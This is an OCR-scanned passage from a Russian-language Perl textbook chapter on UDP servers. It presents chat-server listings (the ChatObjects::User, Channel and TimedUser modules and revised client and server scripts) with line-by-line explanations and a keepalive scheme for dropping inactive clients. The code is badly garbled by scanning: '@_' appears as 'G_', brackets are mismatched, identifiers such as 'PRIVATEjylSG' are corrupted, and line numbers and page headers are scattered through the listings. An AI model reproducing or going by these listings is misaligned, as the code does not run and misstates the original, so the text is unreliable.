регистрацию вызывается подпрограмма do_login (). Она получает упакованный адрес другого
участника обмена двнными, объект ChatObjects: :Сотти данные события login_req,
которые содержат псевдоним, выбранный пользователем во аремя регистрации.
Вполне возможно, что два пользователя пожелают работать под одним псевдонимом. Для
проверки такой ситуации вызывается метод lookup_byname() класса ChatObjects: :User.
Если в системе уже работает пользователь, зарегистрированный под этим псевдонимом, то
выдается сообщение об ошибке. В ином случае вызывается метод
ChatObjects::users-new () для создания нового объекта пользователя.
Класс ChatObjects::User
Основная часть прикладной логики сервера заключена в модуле
ChatObjects: :Dser (листинг 19.6). Этот объект участвует в передаче всех
сообщений о событиях каждому конкретному пользователю и следит за тем, в каких каналах
зарегистрирован пользователь.
Набор каналов, в которых зарегистрировался пользователь, реализован в виде
массива. Несмотря на то что пользователь может являться абонентом нескольких
каналов, один из них является особым, поскольку получает все общедоступные
сообщения, отправляемые пользователем. В настоящей реализации текущим каналом явля-
572
Часть Г/. Дополнительные темы
ется первый элемент в массиве; таковым всегда служит последний (по времени)
канал, в котором зарегистрировался пользователь.
Листинг 19.6. Модуль ChatObjects: :User
0: package ChatObjects::User;
1: # Файл: ChatObjects/User.pm
use strict;
use ChatObjects::ChatCodes;
use Socket;
use overload { *""' => "nickname1
fallback => 1 );
# Информация о пользователе
my %NICKNAMES = {);
my %ADDRESSES = {);
sub new {
my $package = shift;
my ($address,$nickname,$server) = G_;
my $self = bless {
address => $address,
nickname => $nickname,
server => $server,
timeon => time(),
channels => П ,
},$package;
$server->send_event(L0GIN_ACK,$nickname, $address);
return $NICKNAMES{$nickname} =
$ADDRESSES{key($address)} = $self;
)
sub lookup_byname {
shift; # Убрать имя пакета
my $nickname = shift;
return $NICKNAMES{$nickname};
}
sub lookup_byaddr {
shift; # Убрать имя пакета
my $addr = shift;
return $ADDRESSES{key($addr)};
}
sub users { values %NICKNAMES }
sub address { shift->{address}
sub nickname { shift->{nickname}
sub channels { G{shift->{channels}}
sub current_channel { shift->{channels}[0]
sub timeon { shift->{timeon}
sub send {
my $self = shift;
my ($code,$msg) = G
Глава 19. Серверы UDP
573
42: $self->{server}->send_event($code,$msg,$self->address);
43: }
44: sub logout {
45: my $self = shift;
46: $_->remove($self) foreach $self->channels;
47: delete $NICKNAMES{$self->nickname};
48: delete $ADDRESSES{key($self->address)};
49: warn "logout: ",$self->nickname,"\n" if main::DEBUG();
50: }
51: sub join {
52: my $self = shift;
53: my $title = shift;
54: return $self->send(ERROR,"no channel named $title")
55: unless my $channel = ChatObjects::Channel->lookup($title);
56: # Пользователь уже принадлежит к каналу, поэтому
# сделать канал текущим
57: if (grep {$channel eq $_} $self->channels) {
58: my Gchan = grep { $channel ne $_ } $self->channels;
59: $self->{channels} = \Gchan;
60: } else {
61: $channel->add($self);
62: }
63: unshift G{$self->{channels}},$channel;
64: $self->send(JOIN_ACK,$channel->info);
65: }
66: sub part {
67: my $self = shift;
68: my $title = shift;
69: my $channel = $title ? ChatObjects::Channel->lookup($title) :
$self->current_channel;
70: return $self->send(ERROR,"no channel named $title")
unless $channel;
71: my Gchan = grep { $channel ne $_ } $self->channels;
72: return if Gchan == $self->channels; # Пользователь -
# не абонент этого канала!
73: my $was_current = $channel eq $self->current_channel;
74: $self->{channels} = \Gchan;
75: $channel->remove($self);
76: $self->send(PART_ACK,$channel->info);
77: if ($was_current && (my $current = $self->current_channel)) {
78: $self->send(JOIN_ACK, $current->info);
79: }
80: }
81: sub send_public {
82: my $self = shift;
83: my $text = shift;
84: if (my $channel = $self->current_channel) {
85: $channel->message($self,$text);
86: } else {
87: $self->send(ERROR,"no current channel");
574
Часть IV. Дополнительные темы
88:
89:
»
}
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
sub send_private {
my $self = shift;
my $msg = shift;
my ($recipient,$text) = $msg =~ /(\S+)\s*(.*)/;
return $self->send(ERROR,"no nickname given for recipient of
private message")
unless $recipient;
if (my $user = $self->lookup_byname($recipient)) {
$user->send( PRIVATEjylSG, "$self $text");
} else {
$self->send(ERROR,"$recipient: not logged in");
}
}
sub list_users {
my $self = shift;
my $channel = $self->current_channel;
return $self->send(ERROR,"no current channel")
unless $channel;
foreach ($channel->users) {
my $timeon = time() - $_->timeon;
my Gchannels = $_->channels;
$self->send(USER_ITEM,"$_ $timeon Gchannels");
}
}
112: sub list_channels {
113: my $self = shift;
114: $self->send(CHANNEL_ITEM,$ ->info)
foreach ChatObjects::Channel->channels;
115: }
116: # Вспомогательная процедура
117: sub key { CORE::join ':■, sockaddr_in{$_[0]) }
118: 1;
Проведем анализ программы.
Строки 1-4. Загрузка необходимых модулей. В модуле включается строгий контроль
соответствия ТИПОВ И загружаются модули ChatObjects: :ChatCodes И Socket.
Строки 5, 6. Перегрузка оператора двойных кавычек. Одной из самых привлекательных
особенностей языка Perl является возможность выполнять перегрузку некоторых операторов
с тем, чтобы вызов нужного метода осуществлялся автоматически. При использоввнии класса
chatObjects::user было бы удобно заменять объект псевдонимом пользователя каждый
раз, когда этот объект применяется в строковом контексте. Это позаолило бы автоматически
преобразовывать строку "Your name is $user" В текст "Your name is ruf us", а не "Your
name is ChatObjects: :User=HASH(0x82b8lb0)".
Для этого используется псеадокомментарии overload, который сообщает интерпретатору
Perl, чтобы он преобразовывал объект в строку, заключенную в двойные кавычки, путем
вызова его метода nickname () и возвращался к поведению, предусмотренному по умолчанию, при
обработке всех прочих операторов.
Строки 7-9. Установка глобальных переменных пакета. Модуль должен предусматривать
поиск зарегистрированных пользователей по псевдониму и адресу клиента. Для отслеживания ин-
Глава 19. Серверы UDP
575
формации о пользователях применяются две глобальные переменные. В хеше %nicknames
объекты пользователей хранятся под ключами, соответствующими псевдонимам пользователей.
С другой стороны, ключами хеша %addresses, под которыми хранятся объекты пользователей,
являются упакованные адреса клиентов этих пользователей. Первоначально эти хеши пусты.
Строки 10-22. Метод new о. Данный метод создает новые объекты chatobj ects:: user. Он
принимает три параметра: упакованный адрес клиентского компьютера пользователя,
псевдоним пользователя и объект chatobj ects: :Comm, который должен применяться для отправки
сообщений пользователю. Эти атрибуты записываются в хеш, включенный в пространстао
имен модуля с помощью функции bless (), наряду с отметкой времени регистрации
пользователя и пустым анонимным массивом. В результате, этот массив будет содержать список
каналов, к которым подключился пользователь.
После создания объекта пользователя вызывается метод send_event () объекта сервера для
отправки пользователю сообщения loginack с использованием метода sendevent () с тремя
параметрами, который обеспечивает доставку сообщения нужному клиенту. Затем новый объект
вносится в хеши %nicknames и ^addresses и возвращается вызывающей процедуре.
Оказалось, что для обеспечения правильной работы хеша %addresses необходимо
применить небольшую подпрофамму. Дело в том, что иногда вызов recv () языка Perl возвращает
упакованный адрес сокета, который содержит ненужные данные в неиспользуемых полях
основополагающей структуры данных С. Эти данные игнорируются вызовом функции send о
и отбрасываются при использовании функции sockaddrin () для распакоаки адреса с
преобразованием в компоненты порта и IP-адреса.
Проблема возникает при определении того, равны ли два адреса, возвращенные функцией
recv (), поскольку различия в ненужных данных могут заставить адреса выглядеть по-разному,
тогда как в действительности они относятся к одному и тому же номеру порта и IP-адресу. Для
устранения этой проблемы вызывается вспомогательная подпрограмма key (), которая
преобразует упакованный адрес в достоверный ключ, содержащий номер порта и IP-адрес.
Строки 23-32. Поиск объектов по имени и адресу. Методы lookup_byname ()
и lookupbyaddr () представляют собой методы класса, которые вызываются для выборки
объектов chatcbjects: :User, соответственно, по псевдониму пользователя и адресу его
клиентского компьютера. В этих методах для поиска используются ключи хешей %nicknames
и %addresses. По указанным выше причинам необходимо передать упакованный адрес под-
профамме key () для преобразования его в достоверное значение, которое может
применяться для выборки по ключу. Метод users () возвращает список всех пользователей,
зарегистрированных в настоящее время.
Строки 33-38. Различные средства доступа Следующий фрагмент кода обеспечивает доступ
к данным пользователя. Методы address (), nickname (), timeon () и channels () возвращают,
соответственно, адрес пользователя, псевдоним, время регистрации и перечень каналов. Под-
профамма current_channel () возвращает объект последнего (по времени) канала, к
которому подключился пользователь.
Строки 39-43. Отправка пользователю сообщения о событии. Метод send() объекта
chatobj ects:: user предстааляет собой вспомогательный метод, который принимает код
события и данные события и передает их методу sendevento объекта
chatobj ect:: server. Третьим параметром подпрофаммы send_event() является
хранимый адрес пользователя, который должен применяться в качестве адреса назначения
дейтаграммы, используемой для доставки сообщения о событии.
Строки 44-50. Обработка сообщения о выходе пользователя из системы. При аыходе
пользователя из системы вызывается метод logout (). Этот метод удаляет пользователя из
всех каналов, к которым он был подключен, а затем удаляет соответствующий объект из
хешей %NiCKNftMES и %addresses. Эти действия приводят к уничтожению всех ссылок на объект
пользователя, а результате чего интерпретатор Perl уничтожает объект и освобождает
занимаемое им место в памяти.
Строки 51-65. Метод join(). Этот метод вызывается, когда пользователь выдает запрос на
подключение к каналу. Ему передается название канала.
Выполнение метода join() начинается с поиска выбранного объекта канала с
использованием метода lookup о объекта chatobj ects: :Channel. Если не будет найден ни один канал
с указанным названием, выдается сообщение об ошибке путем вызова метода send () объек-
576
Часть IV. Дополнительные темы
та. В ином случае вызывается метод channels о объекта для выборки текущего списка
каналов, к которым подключился данный пользователь. Если пользователь в настоящее время
еще не подключен к данному каналу, вызывается метод add () объекта канвла для отправки
другим пользователям извещения о том, что к каналу подключается новый пользователь. Если
пользователь уже яаляется абонентом канала, запись канала удаляется из текущей позиции
массиаа каналов с тем. чтобы он был перемещен в начало списка каналов в следующей части
кода. Объект канала обозначается как текущий путем перемещения его на первое место
в массиве каналов, а клиенту отправляется сообщение о событии join_ack.
• Строки 66-80. Метод part (). Указанный метод вызывается, когда пользователь покидает канал;
этот метод аналогичен предыдущему по своей структуре и применяемым соглашениям о вызове.
Если пользователь действительно принадлежит к выбранному каналу, вызывается метод
remove () соответствующего объекта канала для отправки другим пользователям извещения
о том, что данный пользователь покидает канал. Затем канал удаляется из массива каналов
и пользователю направляется сообщение о событии part_ack. Канал, покинутый
пользователем, мог быть его текущим каналом, и в этом случае пользователю выдается сообщение
joinack о том, что для него выбран новый текущий канал, если еще остались каналы, к
которым он подключен.
• Строки 81-89. Отправка общедоступного сообщения. Метод send_public() выполняет
обработку сообщения о событии puelic_msg. Он принимает строку текста, отыскивает
текущий канал и вызывает метод message () этого канала. Если текущий канал не существует, это
значит, что пользователь не подключился ни к одному каналу; в таком случае метод
возвращает сообщение об ошибке.
• Строки 90-101. Отправка приватного сообщения. Метод send ^private () выполняет
запрос на отправку приватного сообщения указанному пользователю. Необходимые данные
извлекаются из сообщения о событии private_msg и путем синтаксического анализа
преобразуются в псевдоним получателя и текст сообщения. Затем вызывается метод
lookupbyname () для поиска объекта пользователя, соответствующего псевдониму. Если
под этим псевдонимом не зарегистрирован ни один пользователь, выдается сообщение об
ошибке. В ином случае вызывается метод send () объекта пользователя для передачи
сообщения о событии private_msg непосредственно этому пользователю.
Данный метод позволяет воспользоваться тем, что объекты пользователей вызывают метод
nickname () автоматически при интерпретации строк, в которых содержится соответствующая
переменная. Это происходит а результате перегрузки оператора двойных кавычек в начале модуля.
• Строки 102-111. Получение списка пользователей, подключенных к текущему каналу.
Метод list_users() вырабатывает и передвет клиенту ряд сообщений о событиях
useritem. Каждое сообщение содержит информацию о пользователях, подключенных к
текущему каналу (включая самого пользователя, приславшего запрос).
Выполнение метода начинвется с выборки информации о текущем канапе. Если таковой не
определен (а связи с тем, что пользователь не подключился ни к одному каналу), метод отправляет
сообщение о событии error. В ином случае он получает информацию обо всех пользоаателях
текущего канала путем вызова метода users () этого канала и передает сообщение о событии
user_item, состоящее из псевдонима пользователя, значения продолжительности времени,
в течение которого пользователь был зарегистрирован в системе (в секундах), и разделенного
пробелами списка каналов, абонентом которых является пользователь.
Как и а клвссе пользователя, в классе chatobjects::Channel выполнена перегрузка
оператора двойных кавычек с тем, чтобы во время интерпретации переменной с обозначением
канала, указанной в строке, которая заключена в двойные кавычки, вызывался метод titled
данного объекта. Это позволяет использовать ссылку на объект непосредственно а данных,
передаваемых функции send ().
• Строки 112-115. Получение списка каналов. Подпрограмма listchanneis() возвращает
список доступных каналов путем отправки пользователю ряда сообщений о событиях
CHANNEL_ITEM. Она вызывает метод channels () класса Chatobjects: :Channel для выборки
списка всех каналов и оформляет информацию о каждом канале в виде сообщения о событии
channel_item. Сообщение о событии содержит информацию, возвращенную методом info ()
объекта канала. В текущей реализации она состоит из названия канала, числа подключенных
к нему пользователей и предназначенного для восприятия человеком описания канала.
Глава 19. Серверы UDP
577
• Строки 116-118. Преобразование упакованного адреса клиента в ключ хеша. Как было
описано выше, системный вызов recv () может возвращать ненужные данные е
неиспользуемых частях структуры адреса сокета, что может усложнить сравнение адресов клиентов.
Метод key () нормализует адрес, преобразуя его в строку, пригодную для использования в
качестве ключа хеша, путем распаковки адреса с помощью функции sockaddr_in () и
последующего соединения адреса хоста и номера порта с использованием символа ":". Теперь два
пакета, отправленные из одного хоста и сокета, будут иметь одинаковые ключи.
Поскольку в модуле уже определен метод j oin (), необходимо обозначить
встроенную функцию с тем же именем, как CORE: : j oin (), для предотвращения путаницы.
Класс ChatObjects:: Channel
И наконец, рассмотрим класс ChatObjects: :Channel (листинг 19.7). Основное
назначение его состоит в широковещательной рассылке сообщений всем текущим
абонентам канала, когда какой-то пользователь присоединяется к каналу, покидает
его или отправляет общедоступное сообщение. Класс выполняет это путем
последовательного перебора всех пользователей, подключенных в настоящее время, и вызова
их метода send () для передачи соответствующего сообщения о событии.
ЛИСТИНГ 19.7. Класс ChatObjects: :Channel
0: package ChatObjects::Channel;
1: # Файл: ChatObjects/Channel.pm
2: use ChatObjects::User,-
3: use ChatObjects::ChatCodes;
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
use overload ( ,,,", => 'title',
fallback => 1
);
my %CHANNELS;
sub new {
my $pack = shift;
my ($title,$description) = G_;
return $CHANNELS{lc $title} = bless {
title => $title,
description =
> $description,
users => {},
},$pack;
}
sub lookup {
shift; # Убрать имя пакета
my $title = shift;
return $CHANNELS{lc $title};
}
sub channels { values %CHANNELS }
sub title { shift->{title} }
sub description { shift->{description} }
sub users { values %{shift->{users}} }
sub info {
my $self = shift;
my $user count = $self->users;
578
Часть IV. Дополнительные темы
29: return "$self $user_count $self->{description}";
30: }
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sub send_to_all {
my $self = shift;
my ($code,$data) = G_;
$_->send($code,$data) foreach $self->users;
}
sub add {
my $self = shift;
my $user = shift;
return if $self->{users}{$user}; # Пользователь уже
# является абонентом канала
$self->send_to_all(USERJOINS,"$self $user");
$self->{users}{$user} = $user;
}
sub remove {
my $self = shift;
my $user = shift;
return unless $self->{users}{$user}; # Пользователь еще
# не является абонентом канала
delete $self->{users}{$user};
$self->send_to_all(USER_PARTS, "$self $user");
}
sub message {
my $self = shift;
my ($sender, $text) = G_;
$self->send to all(PUBLIC MSG,"$self $sender $text");
}
55: 1;
Проведем анализ программы.
Строки 1-3. Загрузка модулей. Работа начинается с зафузки модулей chatobjects: :User
И ChatCbj ects::ChatCodes.
Строки 4-7. Перегрузка строкового оператора двойных кавычек. Как и в модуле
chatobjects: :User, желательно иметь возможность преобразовывать объекты каналов
непосредственно в названия этих каналов. Выполняется перефузка строкового оператора
двойных кавычек с тем, чтобы он вызывал метод titled объекта, и интерпретатору Perl
передается указание, чтобы он руководствовался правилами поведения, предусмотренными по
умолчанию, при выполнении других оператороа.
Здесь также определена глобальная переменная пакета %channels. Она будет содержать
применяемый в операциях поиска окончательный список объектоа каналов, ключами которого
являются названия каналов.
Строки 8-16. Конструктор объекта. Для создания нового экземпляра класса
channelobjects::channel вызывается метод класса new(). Метод принимает назаание
и описание нового канала, а также записывает эти данные в хеш, включенный в пространство
имен модуля с помощью функции bless (), наряду с пустым анонимным хешем, который в
конечном итоге будет содержать список пользователей, подключенных к каналу. Выполняется
запись нового объекта в хеш %channels и его возврат.
Строки 17-22. Поиск канала по названию. Метод lookup о возаращает объект
chatobjects::channel, имеющий указанное название. Название выбирается из массива
Глава 19. Серверы UDP
579
параметров подпрограммы и используется для доступа по ключу к хешу %channels. Метод
channels () выполняет выборку всех названий каналов, возвращая ключи хеша %channels.
• Строки 23-25. Различные средства доступа. Методы title () и description ()
возвращают, соответственно, название и описание канала. Метод users () возвращает список всех
пользователей, подключенных к каналу. Ключами хеша пользователей являются псевдонимы,
а значениями — соответствующие объекты chatobjects: :User.
• Строки 26-30. Выборка информации для формирования сообщения о событии
CHAnnel_item. Метод info () предоставляет данные, которые будут включены в сообщение о
событии CHANNELITEM. В текущей версии модуля Chatobjects:: channel метод info ()
возвращает строку, разделенную пробелами и содержащую название канала, число пользователей,
подключенных к нему в настоящее время, и описание канала. В следующей главе метод info () будет
перекрыт с тем, чтобы он возвращал также адрес многоадресной рассылки для канала.
• Строки 31-35. Отправка сообщения о событии всем зарегистрированным пользователям.
Метод send_to_all () является стержнем всего приложения. После получения кода события
и связанных с ним данных он отправляет сообщение о событии всем подключенным
пользователям. Это действие выполняется путем вызоаа метода users () для получения актуального
списка объектов chatobjects: :User и отправки кода события и данных каждому из этих объектов с
помощью метода send () этого объекта. В результате данный метод отправляет каждому
подключенному пользователю по одной дейтаграмме, и такая многовдресная рассылка не требует
решения проблем блокировки или управления параллельным выполнением.
• Строки 36-42. Включение пользователя в состав абонентов канала. Метод add ()
вызывается, когда пользователь желает присоединиться к каналу. Вначале выполняется проверка
того, не является ли уже этот пользователь абонентом канала, и, если это действительно так,
никакие действия не выполняются. В ином случае каждому абоненту канала направляется
сообщение о событии user_joins с помощью метода send_to_ali (), а затем новый
пользователь добавляется к хешу пользователей.
• Строки 43-49. Удаление пользователей. Метод remove () вызывается для удаления Поль-.
зователя из состава абонентов канала. Осущесталяется проверка того, действительно ли этот
пользователь является абонентом канала, запись этого пользователя удаляется из хеша
пользователей, а затем выполняется отправка сообщения user_parts всем оставшимся
абонентам канала.
• Строки 50-55. Отправка общедоступного сообщения. Метод message () вызывается, когда
пользователь отправляет общедоступное сообщение. Он вызывается с именем пользователя,
отправившего сообщение, и рассылает сообщение всем абонентам канала (включая самого
отправителя) с помощью метода send_to_all ().
Обратите внимание, что сервер не предпринимает попыток проверить,
действительно ли каждый пользователь получает направляемые ему сообщения. Такое
поведение является типичным для сервера UDP и вполне подходит для подобного
приложения, которое не требует стопроцентной гарантии доставки сообщений.
Обнаружение бездействующих клиентов
Рассматриваемый (в том виде, в каком он сейчас есть) сценарий сервера системы
интерактивной переписки имеет существенный недостаток. Дело в том, что
клиентская программа может по каким-то причинам завершиться аварийно, не отправив на
сервер сообщение о событии LOGOFF, или это сообщение может быть отправлено, но
потеряно в сети. В таком случае сервер будет иметь информацию о том, что
пользователь все еще зарегистрирован, и продолжать отправлять сообщения на его
клиентский компьютер. После достаточно продолжительной работы таблицы сервера могут
заполниться несуществующими пользователями. Для решения этой проблемы можно
применить один из представленных методов.
580
Часть IV. Дополнительные теми
■ Сервер завершает по тайм-ауту работу неактивных пользователей. При
получении от пользователя каждого сообщения о событии, например, связанного
с подключением к каналу или отключением от него, сервер регистрирует время
события в соответствующем объекте ChatObjects: :User. Сервер
периодически проверяет всех пользователей для выявления тех, кто долгое время не
предпринимал никаких действий, и удаляет их. Данный метод имеет
недостаток, связанный с тем, что будут отключены от системы "сторонние
наблюдатели", которые любят следить за дискуссиями, проходящими в каналах
интерактивной переписки, но не участвуют в них.
■ Сервер выполняет эхо-тестирование клиентов. Сервер может регулярно
отправлять сообщение о событии PING каждому клиенту, а клиенты должны
отвечать на него сообщением PING_ACK. Если клиент не подтверждает
определенного числа запросов эхо-тестирования, выполняется автоматическое
отключение от системы пользователя этого клиентского компьютера.
■ Клиенты выполняют эхо-тестирование сервера. Вместо эхо-тестирования
клиентов сервером и ожидания подтверждения, клиенты регулярно отправляют на
сервер сообщение о событии STILL_HERE. Сервер периодически проверяет,
продолжает ли каждый пользователь присылать сообщения STILL__HERE, и
отключает от системы тех из них, кто долго хранит молчание.
Применение сообщений о событии STILL_HERE
в системе интерактивной переписки
Последний из перечисленных выше методов представляет собой хороший
компромисс между простотой и эффективностью. Он требует внесения небольших
изменений в следующие файлы.
■ ChatObjects/ChatCodes.pm. Добавляется код события STILL_HERE,
который будет использоваться клиентом для периодической передачи
подтверждений того, что он все еще активен.
■ ChatObjects/TimedUser .pm. Определен новый класс
ChatObjects:: TimedUser, который наследует методы от класса
ChatObjects: :User. В этом классе дополнительно предусмотрена
возможность регистрировать событие STILL_HERE и возвращать число секунд,
прошедших с момента возникновения последнего такого события.
■ chat_client.pl. Это клиентское приложение верхнего уровня должно быть
откорректировано так, чтобы в нем примерно через одинаковые интервалы
активизировались события STILL_HERE.
■ chat_server.pl. Это серверное приложение верхнего уровня должно
обрабатывать сообщение о событиях STILL_HERE и периодически выполнять
проверку наличия клиентов, которые больше не связаны с системой.
Изменения в модуле ChatObjects::ChatCodes
Модуль ChatObjects: :ChatCodes требует простейших корректировок. Здесь
просто определена новая константа STILL_HERE и добавлена к списку 6EXP0RTS.
Глава 19. Серверы UDP
581
GEXPORT = qw{
ERROR
LOGIN_REQ LOGIN_ACK
STILL_HERE
);
...use constant USER_ITEM => 190;
use constant STILL_HERE => 200;
1;
Подкласс ChatObjects: :TimedUser
Ниже описан ChatObjects: :TimedUser — простой подкласс класса
ChatObjects: :User (листинг 19.8). В классе ChatObjects: :TimedUser перекрыт
первоначальный метод new{) для добавления переменной экземпляра stillhere.
Новый метод still_here () обновляет значение этой переменной, записывая в нее
текущее время, а метод inactivity_interval () возвращает число секунд,
прошедших с момента последнего вызова метода still_here {).
Листинг 19.8. Модуль ChatObjects: :TinedUaer
0: package ChatObjects::TimedUser;
1: # Файл: ChatObjects/TimedUser.pm
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
use strict;
use ChatObjects::User;
use vars 'GISA';
GISA = 'ChatObjects::User';
sub new {
my $package = shift;
my $self = $package->SUPER::new(G_);
$self->{stillhere} = time{);
return $self
}
sub still_here {
my $self = shift;
$self->{stillhere} = time();
}
sub inactivity_interval {
my $self = shift;
return time{) - $self->{stillhere};
}
l;
Модуль ChatObjects: :TimedUser будет применяться в серверной программе
вместо модуля ChatObj ects: : User.
582
Часть IV. Дополнительные темы
Откорректированная программа chat_client.pl
Ниже описаны изменения, внесенные в программу chat_client. pi для того, чтобы
она периодически выдавала сообщения о событиях STILL_HERE. В листинге 19.9 показана
первая часть откорректированного сценария (остальная часть идентична первоначальной
программе, приведенной в листинге 19.2). Ниже описаны соответствующие изменения.
Листинг 19.9. Сценарий chat_ciient.pl, который предусматривает
пе • иодическую отправ сообщений о событиях still_here
0: #!/usr/bin/perl -w
1: # Файл: timed_chat_client.pl
2: # Клиент системы интерактивной переписки на основе UDP,
# который предусматривает регулярную отправку сообщений
# STILL_HERE
3: use strict;
4: use IO::Socket;
5: use IO::Select;
6: use ChatObjects::ChatCodes;
7: use ChatObj ects::Comm;
8: use constant ALIVE_INTERVAL => 30; # Отправлять
# сообщения STILL_HERE через каждые 30 с
9: $SIG{INT} = $SIG{TERM} = sub { exit 0 };
10: my ($nickname,$server);
11: # Таблица переходов для команд пользователя
12: my %C0MMANDS = {
13: channels => sub { $server->send_event
(LIST_CHANNELS) },
14: join => sub { $server->send_event
(JOIN_REQ,shi ft) },
15: part => sub { $server->send_event
(PART_REQ,shift) },
16: users => sub { $server->send_event
(LIST_USERS) },
17: public => sub { $server->send_event
(SEND_PUBLIC,shift) },
18: private => sub { $server->send_event
(SEND_PRIVATE,shift) },
login => sub { $nickname = do_login() ),
quit => sub { undef },
);
# Таблица перекодов для сообщений сервера
my %MESSAGES = {
ERROR{) => \Serror,
LOGIN_ACK() => \&login_ack,
JOIN_ACK() => \&join_part,
PART_ACK() => \&join_part,
PUBLIC_MSG{) => \&public_msg,
PRIVATE_MSG() => \&private_msg,
USERJOINSO => \&user_join_part,
USER PARTS{) => \&user_join_part.
19
20
21
22
23
24
25
26
27
28
29
30
31
Глава 19. Серверы UDP
583
32
33
34
35
36
37
38
CHANNEL_ITEM{) => \&list_channel,
USERITEMO => \&list_user,
);
# Создание и инициализация сокета UDP
my Sservaddr = shift II 'localhost';
my $servport = shift I| 2027;
my $last alive =0;
39: $server = ChatObjects::Comm->new(PeerAddr =
> "$servaddr:$servport") or die $G;
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Попытка регистрации
$nickname = do_login();
die "Can't log in.\n" unless $nicknarae;
# Чтение команд пользователя и сообщений сервера
my $select = 10::Select->new($server->socket,\*STDIN);
LOOP:
while (1) {
my Gready = $select->can_read(ALIVE_INTERVAL);
foreach (Gready) {
if ($_ eq \*STDIN) {
do_user(\*STDIN) |[ last LOOP;
} else {
do_server($_);
}
\
if (time() - $last_alive > ALIVE_INTERVAL) {
$server->send_event(STILL_HERE);
$last_alive = time();
}
Проведем анализ программы.
Строка 8. Определение константы alt.ve_inter.val. Определена константа
alive_interval, которая обозначает периодичность выдачи сообщений о событиях
stillhere. Этот интервал должен быть меньше по сравнению с периодичностью проверки
сервером наличия неактивных клиентов. Для константы alive_interval выбрано значение
30 с, а для продолжительности тайм-аута серв'ера — 120 с; это значит, что клиент должен
четыре раза подряд пропустить отправку сообщения о событии still_here, и только после
этого сервер примет предположение, что клиент прекратил свое существование.
Строка 38. Создание таймера для событий stilljhere. Глобальная переменная
Slast_alive содержит значение времени последней отправки сообщения о событии
still_here. Она применяется для определения времени выдачи следующего сообщения.
Строка 47. Установка тайм-аута функции select (). Необходимо предусмотреть регулярную
отправку сообщения о событии still_here, даже если ни в дескрипторе stdin, ни в сокете
нет данных, доступных для чтения. Для обеспечения этого в вызове метода can_read ()
объекта io:: select установлен тайм-аут с тем, чтобы была возможность своевременно
отправить сообщение о событии, даже если за это время не будут получены какие-либо данные.
Строки 55-58. Отправка сообщения о событии stilljhere. При каждом проходе по
главному циклу выполняется проверка, не настало ли время отправить очередное сообщение
о событии still_here. Если это так, то отправляется сообщение о событии и в переменной
Slastalive регистрируется текущее время.
584
Часть IV. Дополнительные темы
Откорректированная программа chat_server.pl
В листинге 19.10 приведен откорректированный сценарий chat_server.pl,
позволяющий обеспечить автоматическое отключение от системы недееспособных
клиентов.
Листинг 19.10. Сценарий chat_server.pl, который выполняет
перио ■ ческую проверку наличия неактивных клиентов
0: # !/usr/bin/perl -w
1: # Файл: timed_chat_server.pl
2: # Программа chat_server на основе UDP, которая
# предусматривает отключение от системы по тайм-ауту
3: use strict;
4: use ChatObjects: -.ChatCodes;
5: use ChatObjects::Comm;
6: use ChatObjects::T±medUser;
7: use ChatObjects::Channel;
8: use constant DEBUG => 1;
9: use constant AUTO_LOGOUT => 120; # Автоматическое
# отключение клиента от системы, если он не присылал
# сообщения в течение двух минут
10: use constant CHECK_INTERVAL => 30; # Проверка наличия
# сообщений клиентов через каждые 30 с
11: # Создание ряда каналов
12: ChatObjects::Channel->new
('CurrentEvents', 'Discussion of current events');
13: ChatObjects::Channel->new
('Weather', "Talk about the weather');
14: ChatObjects::Channel->new
('Gardening', 'For those with the green thumb');
15: ChatObjects::Channel->new
('Hobbies', 'For hobbyists of all types');
16: ChatObjects::Channel->new
('Pets', 'For our furry and feathered friends');
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Таблица переходов
my
%DISPATCH =
= (
LOGOFF()
JOIN REQO
PART REQO
SEND PUBLICO
SEND PRIVATE()
LIST CHANNELS()
LIST USERS{)
STILL HERE()
);
=>
=>
=>
=>
->
=>
=>
=>
'logout',
'join',
•part'.
'send public',
"send private',
'list channels'.
'list users'.
'still here'.
# Создание сокета UDP
my Sport = shift || 2027;
my $server = ChatObjects::Comm->new(LocalPort=>$port);
warn "servicing incoming requests..-\n";
Глава 19. Серверы UDP
585
32: my $next_check = time() + CHECK_INTERVAL;
33: while (1) {
34: next unless my ($code, $msg,$addr) = $server->recv_event;
35: warn "$code $msg\n" if DEBUG;
36: do_login($addr, $msg,$server) && next if $code == LOGIN_REQ;
37
38
39
49
50
51
52
53
54
55
56
my $user = ChatObjects::TimedUser->lookup_byaddr($addr);
$server->send_event(ERROR,"please log in",$addr) && next
unless defined $user;
40: $server->send_event
(ERROR,"unimplemented event code",$addr) && next
41: unless my $dispatch = $DISPATCH{$Code};
42: $user->$dispatch($msg);
43: } continue {
44: if (time{) > $next_check) {
4 5: autologoff();
46: $next_check = time() + CHECK_INTERVAL;
47: }
48: }
sub auto_logoff {
warn "Inactivity check...\n" if DEBUG;
foreach (ChatObjects::TimedUser->users) {
hext if $_->inactivity_interval < AUTO_LOGOUT;
warn "Autologout of $_\n" if DEBUG;
$_->logout;
)
}
57: sub do_login {
58: my ($addr, $nickname,$server) = G_;
59: return $server->send_event
(ERROR,"nickname already in use",$addr)
60: if ChatObjects::TimedUser->lookup_byname($nickname);
61: return unless ChatObjects::TimedUser->new
($addr,$nickname,$server);
62: }
Проведем анализ программы.
• Строка 6. Вызов модуля ChatObjects: :TimedUser. ВызывветСЯ модуль ChatObjects: :
TimedUser для получения доступа к его методам still_here () и inactivity_interval {).
• Строки 9, 10. Определение параметров автоматического отключения от системы.
Определена константа autojlogout, равная 120 с. Если клиент не сможет отправить в течение
этого интервала сообщение still_here, он будет отключен от системы автоматически.
Установлен также интервал, равный 30 с, для проверки всех пользователей, зарегистрированных
в настоящее время в системе. Это позволяет уменьшить нагрузку системы по сравнению
с тем, когда проверка выполняется при поступлении каждого сообщения.
• Строка 26. Обеспечение передачи управления при поступлении информации о событии
still_here. В таблицу переходов %dispatch добавлена запись, которая предусматривает
вызов метода still_here () Объекта ChatObjects::TimedUser при получении сообщения о
Событии STILL HERE.
586
Часть IV. Дополнительные темы
